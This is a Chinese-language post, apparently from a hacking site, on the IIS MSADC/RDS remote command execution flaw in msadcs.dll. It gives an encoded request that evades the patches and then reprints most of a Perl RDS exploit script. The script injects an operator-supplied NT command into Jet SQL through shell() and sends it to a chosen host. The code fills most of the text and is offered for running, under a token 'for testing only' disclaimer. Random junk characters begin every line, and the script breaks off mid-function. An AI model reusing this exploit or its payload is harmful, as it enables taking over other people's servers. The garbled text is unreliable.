IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
WT ;2aS: m>vwpRBOA 涉及程序:
VhkM{O Microsoft NT server
MT&aH~YB #-;W|ib%z 描述:
[Jt}^ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
>4X2uNbZS rQimQ|+ 详细:
"sN%S's 如果你没有时间读详细内容的话,就删除:
$CE dJ+0z c:\Program Files\Common Files\System\Msadc\msadcs.dll
>8(i;)(3 有关的安全问题就没有了。
4]U=Y>\Sr _cs(f<>oCO 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
T o["o!(;z M(I%y0 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
XvaIOt>A 关于利用ODBC远程漏洞的描述,请参看:
}i~k:kmV
juOStTq< http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm !Ap5Uwd xx`YBn~" 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
@.W; 3|~qc http://www.microsoft.com/security/bulletins/MS99-025faq.asp M
5sk&> h~ k<" 这里不再论述。
fmz"Zg9= \l:R]:w;ZI 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
<==uK>pET :'DyZy2Fd /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
l/G+Xj4M 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
dxs5woP %VO+\L8Fs s-"KABEE #将下面这段保存为txt文件,然后: "perl -x 文件名"
_Z0 .c@0 N5 5F5 #!perl
`MI;.t #
uB
I/3aQ # MSADC/RDS 'usage' (aka exploit) script
g{]6*`/Z #
"u^Erj# / # by rain.forest.puppy
Nu"v
.]Y2 #
|eu8;~A # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
YcobK#c # beta test and find errors!
t<8)h8eW MIZdk'.U use Socket; use Getopt::Std;
G]ek-[- getopts("e:vd:h:XR", \%args);
j?N<40z 7\
_MA!:< print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
f7_(C0d S oeoUI]m if (!defined $args{h} && !defined $args{R}) {
k9x[(
# print qq~
RTc@`m3 M Usage: msadc.pl -h <host> { -d <delay> -X -v }
@
8H$ -h <host> = host you want to scan (ip or domain)
|c/=9Bb -d <seconds> = delay between calls, default 1 second
*-9i<@|(U^ -X = dump Index Server path table, if available
wG,"X'1 -v = verbose
MR1I"gqE}I -e = external dictionary file for step 5
M1/d7d OeqKKVuQ Or a -R will resume a command session
inGUN?? fmuh9Z ~; exit;}
"A}sD7xy9 '.bf88D $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
TTVmm{6 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
L(;$(k-/( if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
O{l4 f:51 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
6MVu"0# $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
9)oi_U. if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
<r#FI8P;X
./F:]/Mt if (!defined $args{R}){ $ret = &has_msadc;
=5\*Zh1 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
%'iJVFF V5K/)\# print "Please type the NT commandline you want to run (cmd /c assumed):\n"
0>od1/` . "cmd /c ";
'OA*aQ=K $in=<STDIN>; chomp $in;
MrR`jXz $command="cmd /c " . $in ;
B.; qvuM~ ^{uHph9ny if (defined $args{R}) {&load; exit;}
`D77CC]vU C<D$Y,[w print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
$+Ze"E &try_btcustmr;
Lk !)G'42 -V}oFxk]q print "\nStep 2: Trying to make our own DSN...";
+aOdaNcI &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
%LrOGr L?h?LZnq print "\nStep 3: Trying known DSNs...";
vIRT$W' O} &known_dsn;
fxd+0R;f qofAA!3z print "\nStep 4: Trying known .mdbs...";
Z5vdH5?!r &known_mdb;
vxmX5.
N9!L8BBaK if (defined $args{e}){
VM%g QOo< print "\nStep 5: Trying dictionary of DSN names...";
t+U.4mS- &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
8ao-]QoMZ XkA] 9,@ print "Sorry Charley...maybe next time?\n";
i.t%a{gL exit;
G!6b
)4L- 5sT3|yq ##############################################################################
Nm"P8/-09 NBPP?\1 sub sendraw { # ripped and modded from whisker
>/A]C$?3 sleep($delay); # it's a DoS on the server! At least on mine...
hoq2zDjD my ($pstr)=@_;
c& ;@i$X( socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
~q3O,bb{ die("Socket problems\n");
OyO]; Yk if(connect(S,pack "SnA4x8",2,80,$target)){
Rn?JMM] select(S); $|=1;
;eYG\uKC{ print $pstr; my @in=<S>;
iN&oSpQ select(STDOUT); close(S);
"Wj{+|f return @in;
w^0hVrws=, } else { die("Can't connect...\n"); }}
/
dJz?0 inaO{ny y ##############################################################################
Rf!v{\ UH MJ(.Wa- sub make_header { # make the HTTP request
|,$&jSe my $msadc=<<EOT
N6._Jb POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
%+l95Dv1 User-Agent: ACTIVEDATA
)k Wxp Host: $ip
)95k3xo Content-Length: $clen
q\@Zf} Connection: Keep-Alive
]VjvG}; 7W)W9=&BT ADCClientVersion:01.06
dx@dnWRT, Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
q}Q G<%VR G!Brt&_' --!ADM!ROX!YOUR!WORLD!
3Q$4`p; Content-Type: application/x-varg
vclc%ws Content-Length: $reqlen
|*c1S
-# b&P)J|Fe EOT
JQQ[jl; ; $msadc=~s/\n/\r\n/g;
,'0#q return $msadc;}
I;w! B$g\;$G ##############################################################################
~P'.R.e M 2hZ' sub make_req { # make the RDS request
$eFMn$o my ($switch, $p1, $p2)=@_;
5REFz my $req=""; my $t1, $t2, $query, $dsn;
j,.M!q] i M !`4 if ($switch==1){ # this is the btcustmr.mdb query
#uU(G\^T $query="Select * from Customers where City=" . make_shell();
IB;yL/T $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
ye.6tlW $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
%C/p+Tg I(*3n" elsif ($switch==2){ # this is general make table query
I,hw0e $query="create table AZZ (B int, C varchar(10))";
K%dQ;C*? $dsn="$p1";}
5f7id7SI ^t})T*hM0 elsif ($switch==3){ # this is general exploit table query
Oo
:Dt~Ib $query="select * from AZZ where C=" . make_shell();
M[`[+5v $dsn="$p1";}
A&M_ J `0qjaC elsif ($switch==4){ # attempt to hork file info from index server
A1prYD $query="select path from scope()";
"kP,v&n $dsn="Provider=MSIDXS;";}
a>OYJe W/,bz",v3 elsif ($switch==5){ # bad query
1O`V_d) $query="select";
)c4tGT< $dsn="$p1";}
YD[HBF)~j 5[4wN(
) $t1= make_unicode($query);
7GO9z<m) $t2= make_unicode($dsn);
_|u}^MLO $req = "\x02\x00\x03\x00";
AJ}FHym_ZQ $req.= "\x08\x00" . pack ("S1", length($t1));
Ca'BE#q $req.= "\x00\x00" . $t1 ;
44u)F@) $req.= "\x08\x00" . pack ("S1", length($t2));
Yk|6?e{+) $req.= "\x00\x00" . $t2 ;
sbmtx/%U $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
+bE{g@%@+ return $req;}
%4Lo Em=U jQV[zcM ##############################################################################
p9)YRLOh. vcFR Td sub make_shell { # this makes the shell() statement
'd~(=6J return "'|shell(\"$command\")|'";}
J:Fq i p qGA|.I9, ##############################################################################
e8<}{N0,n ZR\N~. sub make_unicode { # quick little function to convert to unicode
+#eol~j9N my ($in)=@_; my $out;
sMMOZ'bT for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
7y=O!?* return $out;}
{rcN_N% s;I
@En ##############################################################################
"<=4]Z 59zWB,y(P sub rdo_success { # checks for RDO return success (this is kludge)
a=}1`Q my (@in) = @_; my $base=content_start(@in);
uLzE'ZmV if($in[$base]=~/multipart\/mixed/){
JPZp*5c6A return 1 if( $in[$base+10]=~/^\x09\x00/ );}
iHhdoY[] return 0;}
nook/ 7] :k_&Zd j,B ##############################################################################
C~T,[U 4*}&nmW sub make_dsn { # this makes a DSN for us
2A\b-;4EP my @drives=("c","d","e","f");
r<ww%2HTS print "\nMaking DSN: ";
LL
e*|: foreach $drive (@drives) {
p/(Z2N" print "$drive: ";
.jD!+wv{9 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
R%szN.cI "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
MAYb.>X#> . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
8n5~K.;< $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
R:f!ywj% return 0 if $2 eq "404"; # not found/doesn't exist
<XLaJ;j if($2 eq "200") {
d0)]^4HT|y foreach $line (@results) {
?+.mP]d_ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
#A5X,-4G } return 0;}
UE^o}Eyg =Q<VU/ ##############################################################################
aM
$2lR])J ')v,<{ sub verify_exists {
H[hJUR+# my ($page)=@_;
%"v:x?d$$o my @results=sendraw("GET $page HTTP/1.0\n\n");
Gl>\p return $results[0];}
D`@a*YIq F{jxs/~ ##############################################################################
J+t51B(a O(I^:_eH sub try_btcustmr {
`+n0a@BVB my @drives=("c","d","e","f");
T{
@@V my @dirs=("winnt","winnt35","winnt351","win","windows");
.L^*9Y0) WkiT,(i foreach $dir (@dirs) {
6agq^wI print "$dir -> "; # fun status so you can see progress
6#Z]yk+p foreach $drive (@drives) {
/}6I3n print "$drive: "; # ditto
oW^x=pS9 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
\H .Cmm^I $reqlenlen=length( "$reqlen" );
[@9S-$Xa $clen= 206 + $reqlenlen + $reqlen;
_{`Z?lt >s5}pkAv|e my @results=sendraw(make_header() . make_req(1,$drive,$dir));
=J1V?x=l@ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
pK-tj else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
KNmU2-%l _6fy'%J=U ##############################################################################
`n>|rd ;+\h$ sub odbc_error {
b|-)p+ba my (@in)=@_; my $base;
MtL<)?HQ my $base = content_start(@in);
kS_#8I if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
@K!JE w\ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
:lXY% [!6P $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
!AXLoq$SY $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
XB!qPh. return $in[$base+4].$in[$base+5].$in[$base+6];}
;)h?P.] print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
:!s7B|_U print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
s/hgWW$ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
{v0r'+` ]D;*2Lw4& ##############################################################################
d(|?gN^ h rSH)LbJ sub verbose {
J\@g3oGw my ($in)=@_;
/x@aAJ| return if !$verbose;
SWw!s&lP& print STDOUT "\n$in\n";}
J.JD8o9sa 'a0M.*f}G ##############################################################################
,iYhD-"' HsTY* ^V sub save {
R=.?el my ($p1, $p2, $p3, $p4)=@_;
lt-3OcC open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Y\WQ0'y print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
1Z
~C3)T= close OUT;}
t#(=$ |kh{EUE
; ##############################################################################
EHq;eF HXT"&c| sub load {
)w4U]inJ$" my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
HlX~a:.7 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
3:xx:Jt @p=<IN>; close(IN);
o*A, 6y $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
U+'zz#0qN $target= inet_aton($ip) || die("inet_aton problems");
0&